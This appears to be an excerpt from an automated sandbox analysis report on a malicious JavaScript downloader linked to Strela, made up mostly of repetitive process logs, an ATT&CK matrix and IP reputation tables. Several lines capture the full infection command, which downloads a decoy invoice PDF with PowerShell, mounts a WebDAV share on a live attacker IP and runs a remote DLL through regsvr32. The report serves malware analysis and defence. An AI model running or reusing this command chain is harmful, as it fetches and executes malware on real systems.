Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4452			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4972			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4048	Thread sleep count: 4452 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4048	Thread sleep count: 4972 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5968	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6880	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5496	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5912	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2120	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7352	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 0000000D.00000002.1296520112.0000022AA9176000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2521366266.0000025C21C54000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000002.1296520112.0000022AA9176000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW{]XO
Source: net.exe, 0000000D.00000002.1296520112.0000022AA9118000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`
Source: svchost.exe, 0000000F.00000002.2519247603.0000025C1C62B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`c

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\16971761514350.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	31 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	22 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2078028442107917841.js	5%	Virustotal		Browse
2078028442107917841.js	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/C	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/pace	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000003.1236630550.00000181972EB000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 0000000F.00000003.1294663708.0000025C21B30000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.15.dr, edb.log.15.dr	false		high
http://crl.ver)	svchost.exe, 0000000F.00000002.2521093931.0000025C21C00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.14.dr	false		high
https://www.adobe.co	ReaderMessages.11.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	edb.log.15.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 0000000D.00000002.1296520112.0000022AA9118000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 0000000D.00000002.1296520112.0000022AA9153000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1296520112.0000022AA9169000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000D.00000002.1296520112.0000022AA9118000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/C	net.exe, 0000000D.00000002.1296520112.0000022AA9153000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587576
Start date and time:	2025-01-10 15:04:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2078028442107917841.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, sppsvc.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 52.6.155.20, 52.22.41.97, 3.233.129.217, 3.219.243.226, 162.159.61.3, 172.64.41.3, 2.23.242.162, 2.22.50.144, 2.22.50.131, 2.16.168.107, 2.16.168.105, 23.209.209.135, 199.232.214.172, 23.204.152.213, 23.204.152.210, 192.168.2.7, 13.107.246.45, 20.109.210.53, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, time.windows.com, a767.dspw65.akamai.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, download.windowsupdate.com.edgesuite.net, armmf.adobe.com, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
09:05:03	API Interceptor	23x Sleep call for process: powershell.exe modified
09:05:07	API Interceptor	1x Sleep call for process: net.exe modified
09:05:07	API Interceptor	2x Sleep call for process: svchost.exe modified
09:05:20	API Interceptor	3x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1712226379134618467.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1136121895118314851.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	7401990642713807.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	705722057165658523.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	382215884163542302.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	571464521086425926.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18607323151113325657.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2503475573085815370.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	17772451271118687.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	3254519122657813770.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
